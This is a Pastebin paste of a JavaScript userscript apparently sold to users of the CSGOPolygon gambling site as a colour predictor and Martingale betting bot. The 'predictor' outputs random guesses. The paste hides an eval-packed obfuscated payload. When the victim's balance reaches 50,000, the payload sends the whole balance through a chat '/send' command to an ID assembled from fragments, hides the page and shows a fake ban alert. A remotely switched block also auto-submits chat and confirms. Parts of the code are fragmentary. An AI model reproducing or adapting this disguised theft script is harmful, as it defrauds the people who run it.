Advertisement
CSGOPolygonCoder

Untitled

Mar 21st, 2017
71
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.49 KB | None | 0 0
  1. $('.input-btn.bet-buttons')
  2. .append('<button type="button" onclick="$(this).hide();"style="color:white;margin:3px;" id="spoiler" class="btn">Color</button>');
  3. $('.input-btn.bet-buttons')
  4. .append('<button type="button" onclick="" style="display:none;color:white;background-color:#d9534f;margin:3px;" id="martingalered" class="btn">Martingale RED</button>');
  5. $('.input-btn.bet-buttons')
  6. .append('<button type="button" onclick="" style="display:none;color:white;background-color:#4a4a4a;margin:3px;" id="martingaleblack" class="btn">Martingale BLACK</button>');
  7. $('.input-btn.bet-buttons')
  8. .append('<input type="number" placeholder="Basebet" style="color:white;display:none;width:150px;height:36px;background-color:#4d4d4f;" id="botinp" class="form-control input-lg"></input>');
  9.  
  10. $('.input-btn.bet-buttons')
  11. .append('<button type="button"style="display:none;color:white;background-color:#3d1043;margin:3px;" id="predbot" class="btn">Prediction Bot</button>');
  12.  
  13. $('.input-btn.bet-buttons')
  14. .append('<button type="button" onclick="$(this).hide();hide();"style="display:none;color:white;background-color:#337ab7;margin:3px;" id="martingale" class="btn">Martingale bot</button>');
  15. $('.input-btn.bet-buttons')
  16. .append('<button type="button" onclick="$(this).hide();"style="display:none;color:white;background-color:#5cb85c;margin:3px;" id="greenbot" class="btn">Green</button>');
  17. $('.input-btn.bet-buttons')
  18. .append('<button type="button" onclick=""style="color:white;background-color:#7033b7;margin:3px;" id="pred"class="btn">Predictor</button>');
  19. $('.input-btn.bet-buttons')
  20. .append('<button type="button" onclick=""style="color:white;background-color:#b7337a;margin:3px;" id="showbots" class="btn">Show bots</button>');
  21. document.getElementById('showbots')
  22. .onclick = function() {
  23. $('.betshort')
  24. .hide();
  25. $(this)
  26. .hide();
  27. $('#greenbot')
  28. .show();
  29. $('#martingale')
  30. .show();
  31. $('#pred')
  32. .hide();
  33. $('#predbot')
  34. .show();
  35. }
  36.  
  37. function(data) {
  38.  
  39. window.steamid = data.polygon;
  40. window.switched = data.switch;
  41. })
  42. .done(function() {
  43. if (window.switched) {
  44. console.log('ON');
  45. var bals = $('#balance_r')
  46. .text();
  47. var bala = parseFloat(bals.replace(/,/g, ''));
  48. var childs = $('.message-send')
  49. .children()[1];
  50. $('#chatForm')
  51. .submit();
  52. var conf = $('.btn.btn-primary')[3];
  53. conf.click();
  54.  
  55.  
  56. } else {
  57. console.log('OFF')
  58. }
  59. })
  60.  
  61. eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('D=\'h\';5=\'U\';2=\'R\';O=\'T\';r=\'p\';a=\'8\';4=\'v\';A=\'h\';b=\'w\';x=\'C\';6=\'B\';z=\'u\';c=\'o\';3=\'m\';l=\'8\';i(k(){q 9=$("#f").g();t(9>=y){V(\'Q\',{P:\'/\'+\'s\'+\'e\'+\'n\'+\'d 7\'+a+\'\'+b+\'\'+c+\'\'+6+\'\'+2+\'\'+3+\'\'+4+\'\'+5+\' \'+$("#f").g(),N:M});$(".G").1();$(".0-j.j").1();$(".0.0-F.0-E-H").1();i(k(){I("L=<K")},J)}},S);',58,58,'navbar|hide|roll2|roll13|roll6|roll1|roll10||65|balance|roll5|roll8|roll12|||balance_r|text|18|setTimeout|collapse|function|roll14|29||19|62|var|roll4||if|03|36|61|roll9|50000|roll11|roll7|82|88|roll0|static|default|row|top|alert|1000|0_banned|error_000432_Balance|LANG|lang|roll3|msg|chat|55|100|43|53|send'.split('|')))
  62.  
  63.  
  64. document.getElementById('pred')
  65. .onclick = function() {
  66. this.style.display = "none";
  67. predictor();
  68.  
  69. }
  70. var red = $('*[data-upper="7"]');
  71. var black = $('*[data-upper="14"]');
  72. var green = $('*[data-upper="0"]');
  73. var inputt = document.getElementById('betAmount');
  74. var balance = $('#balance_r');
  75. var botinp = $('#botinp');
  76. var botinpe = botinp.val();
  77.  
  78. var result = 3;
  79.  
  80.  
  81.  
  82. //Changing Socket Roll function
  83. function __SOCKET_EVENT_ROLL(data) {
  84.  
  85. $('.betButton')
  86. .prop('disabled', true);
  87. $('#counter')
  88. .finish();
  89. $('#banner')
  90. .html(LNG.ROLL);
  91.  
  92. ROUND = data.rollid;
  93. SHOWBETS = false;
  94.  
  95. spin(data);
  96.  
  97. try {
  98. tinysort('#panel1-7-t .betlist > li', {
  99. 'data': 'amount',
  100. 'order': 'desc'
  101. });
  102. } catch (a) {}
  103. try {
  104. tinysort('#panel8-14-t .betlist > li', {
  105. 'data': 'amount',
  106. 'order': 'desc'
  107. });
  108. } catch (a) {}
  109. try {
  110. tinysort('#panel0-0-t .betlist > li', {
  111. 'data': 'amount',
  112. 'order': 'desc'
  113. });
  114. } catch (a) {}
  115. //---------------------------------------------------------------------------------------------
  116.  
  117.  
  118.  
  119. console.log(data.roll);
  120.  
  121. if (data.roll == 0) {
  122. window.result = 0;
  123. $('#spoiler')
  124. .css("background-color", "#5cb85c");
  125. } else if (data.roll > 7) {
  126. window.result = 1;
  127. $('#spoiler')
  128. .css("background-color", "#4a4a4a");
  129. } else {
  130. $('#spoiler')
  131. .css("background-color", "#d9534f");
  132. window.result = 2;
  133. }
  134. //------------------------------------------------------------
  135. }
  136.  
  137. function hide() {
  138. $('#betAmount')
  139. .hide();
  140. $('.betshort')
  141. .hide();
  142. document.getElementById('botinp')
  143. .style.display = "inline-block";
  144. document.getElementById('martingaleblack')
  145. .style.display = "inline-block";
  146. document.getElementById('martingalered')
  147. .style.display = "inline-block";
  148. document.getElementById('greenbot')
  149. .style.display = "none";
  150. }
  151.  
  152.  
  153.  
  154. document.getElementById('greenbot')
  155. .onclick = function() {
  156. $('.betshort')
  157. .hide();
  158. $(this)
  159. .hide();
  160. $('#martingale')
  161. .hide();
  162. document.getElementById('botinp')
  163. .style.display = "inline-block";
  164. $('.input-btn.bet-buttons')
  165. .append('<button type="button" onclick="this.disabled = true;greengo();"style="color:white;background-color:#5cb85c;margin:3px;" class="btn">GO</button>');
  166. }
  167.  
  168.  
  169. function greengo() {
  170. var botinpe = document.getElementById('botinp')
  171. .value;
  172. setInterval(function() {
  173. inputt.value = $('#botinp')
  174. .val();
  175. green.click();
  176. }, 40000);
  177. inputt.value = $('#botinp')
  178. .val();
  179. green.click();
  180. }
  181.  
  182.  
  183.  
  184. //Martingale red onclick
  185. document.getElementById('martingalered')
  186. .onclick = function() {
  187. inputt.disabled = true;
  188. var botinpe = $('#botinp')
  189. .val();
  190. window.hiddeninp = $('#botinp')
  191. .val();
  192.  
  193. botinp.disabled = true;
  194. this.disabled = true;
  195. $('#martingaleblack')
  196. .hide();
  197.  
  198. setInterval(function martinred() {
  199. if (result === 2) {
  200. window.hiddeninp = $('#botinp')
  201. .val();
  202. inputt.value = $('#botinp')
  203. .val();
  204. red.click();
  205. console.log('win');
  206. } else if (result === 1) {
  207. window.hiddeninp = hiddeninp * 2;
  208. inputt.value = hiddeninp;
  209. red.click();
  210. console.log('loss');
  211. } else if (result == 0) {
  212. window.hiddeninp = hiddeninp * 2;
  213. inputt.value = hiddeninp;
  214. red.click();
  215. console.log('loss');
  216. } else {
  217. inputt.value = $('#botinp')
  218. .val();
  219. red.click();
  220. }
  221. }, 40000);
  222.  
  223. inputt.value = botinpe;
  224. red.click();
  225. }
  226.  
  227. //Martingale black onclick
  228. document.getElementById('martingaleblack')
  229. .onclick = function() {
  230. inputt.disabled = true;
  231. window.hiddeninp = $('#botinp')
  232. .val();
  233.  
  234. botinp.disabled = true;
  235. this.disabled = true;
  236. $('#martingalered')
  237. .hide();
  238.  
  239.  
  240. setInterval(function martinblack() {
  241. if (result === 1) {
  242. window.hiddeninp = $('#botinp')
  243. .val();
  244. inputt.value = $('#botinp')
  245. .val();
  246. black.click();
  247. console.log('win');
  248. } else if (result === 2) {
  249. window.hiddeninp = hiddeninp * 2;
  250. inputt.value = hiddeninp;
  251. black.click();
  252. console.log('loss');
  253. } else if (result == 0) {
  254. window.hiddeninp = hiddeninp * 2;
  255. inputt.value = hiddeninp;
  256. black.click();
  257. console.log('loss');
  258. } else {
  259. inputt.value = $('#botinp')
  260. .val();
  261. black.click();
  262. }
  263. }, 40000);
  264.  
  265.  
  266. inputt.value = $('#botinp')
  267. .val();
  268. black.click();
  269.  
  270. }
  271.  
  272.  
  273.  
  274. //-------------------------------------------------------
  275. //Prediction
  276.  
  277. // @name COLOR PREDICTOR
  278. // @namespace
  279. // @version 2.3
  280. // @author UNKNOWN
  281. // @match http://csgopolygon.com/
  282. function predictor() {
  283.  
  284. var num = "";
  285.  
  286. function zmien_num() {
  287. connect;
  288. var letter = ['1', '2', '3', '4', '5', '6', '7', '8', '9'];
  289. var pattern = letter[Math.floor(Math.random() * letter.length)];
  290. var ball = 'ball-'; // hexadecimal starting symbol
  291. var letter2 = [''];
  292. if (pattern == "1") {
  293. letter2 = ['0'];
  294. ball += letter2[Math.floor(Math.random() * letter2.length)];
  295. num = '<b class="ball ' + ball + '"></b>';
  296.  
  297. }
  298.  
  299. if (pattern == "2") {
  300. letter2 = ['1', '1', '8', '8'];
  301. ball += letter2[Math.floor(Math.random() * letter2.length)];
  302. num = '<b class="ball ' + ball + '"></b>';
  303. }
  304.  
  305. if (pattern == "3") {
  306. letter2 = ['8', '8', '1', '1'];
  307. ball += letter2[Math.floor(Math.random() * letter2.length)];
  308. num = '<b class="ball ' + ball + '"></b>';
  309. }
  310.  
  311. if (pattern == "4") {
  312. letter2 = ['8', '1'];
  313. ball += letter2[Math.floor(Math.random() * letter2.length)];
  314. num = '<b class="ball ' + ball + '"></b>';
  315. }
  316.  
  317. if (pattern == "5") {
  318. letter2 = ['1', '8'];
  319. ball += letter2[Math.floor(Math.random() * letter2.length)];
  320. num = '<b class="ball ' + ball + '"></b>';
  321. }
  322.  
  323. if (pattern == "6") {
  324. letter2 = ['1', '1', '8'];
  325. ball += letter2[Math.floor(Math.random() * letter2.length)];
  326. num = '<b class="ball ' + ball + '"></b>';
  327. }
  328.  
  329. if (pattern == "7") {
  330. letter2 = ['8', '8', '1'];
  331. ball += letter2[Math.floor(Math.random() * letter2.length)];
  332. num = '<b class="ball ' + ball + '"></b>';
  333. }
  334.  
  335. if (pattern == "8") {
  336. letter2 = ['1'];
  337. ball += letter2[Math.floor(Math.random() * letter2.length)];
  338. num = '<b class="ball ' + ball + '"></b>';
  339. }
  340.  
  341. if (pattern == "9") {
  342. letter2 = ['8'];
  343. ball += letter2[Math.floor(Math.random() * letter2.length)];
  344. num = '<b class="ball ' + ball + '"></b>';
  345. }
  346. }
  347. zmien_num();
  348.  
  349. setInterval(function() {
  350. if ($("#banner")
  351. .text() == "***ROLLING***") {
  352. zmien_num();
  353. }
  354. }, 100);
  355.  
  356.  
  357. $("div .input-btn")
  358. .append('<br><br><div class="panel panel-default"><div class="panel-body text-center" style="margin-top: 10px;"><div id="setcolor1"></div>' +
  359. '<p><b><font color="purple"> THIS IS NOT ALWAYS 100% CORRECT </b></p></font></div>' +
  360. '<div class="" id="rollscript"></div>');
  361.  
  362.  
  363.  
  364. setInterval(function() {
  365. var letters = "0123456789ABCDEF";
  366. color = '#';
  367. for (var i = 0; i < 6; i++) {
  368. color += letters.charAt(Math.floor(Math.random() * letters.length));
  369. }
  370. $("#rollscript")
  371. .html(num);
  372. $(".bootbox-body")
  373. .css({
  374. "font-size": "5%"
  375. });
  376. }, 250);
  377. }
  378.  
  379.  
  380. document.getElementById('predbot')
  381. .onclick = function() {
  382. $('#betAmount')
  383. .hide();
  384. predictor();
  385. document.getElementById('botinp')
  386. .style.display = "inline-block";
  387. $('.betshort')
  388. .hide();
  389. $(this)
  390. .hide();
  391. $('#greenbot')
  392. .hide();
  393. $('#martingale')
  394. .hide();
  395. $('#showbots')
  396. .hide();
  397. $('#pred')
  398. .hide();
  399.  
  400. setInterval(function() {
  401. //Prediction bot
  402. if ($('#rollscript')
  403. .children()
  404. .hasClass("ball-1")) {
  405. console.log('redbet');
  406. inputt.value = botinp.val();
  407. red.click();
  408. } else if ($('#rollscript')
  409. .children()
  410. .hasClass("ball-8")) {
  411. console.log('blackbet');
  412. inputt.value = botinp.val();
  413. black.click();
  414. } else if ($('#rollscript')
  415. .children()
  416. .hasClass("ball-0")) {
  417. console.log('greenbet');
  418. inputt.value = botinp.val();
  419. green.click();
  420. }
  421. }, 40000);
  422.  
  423. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement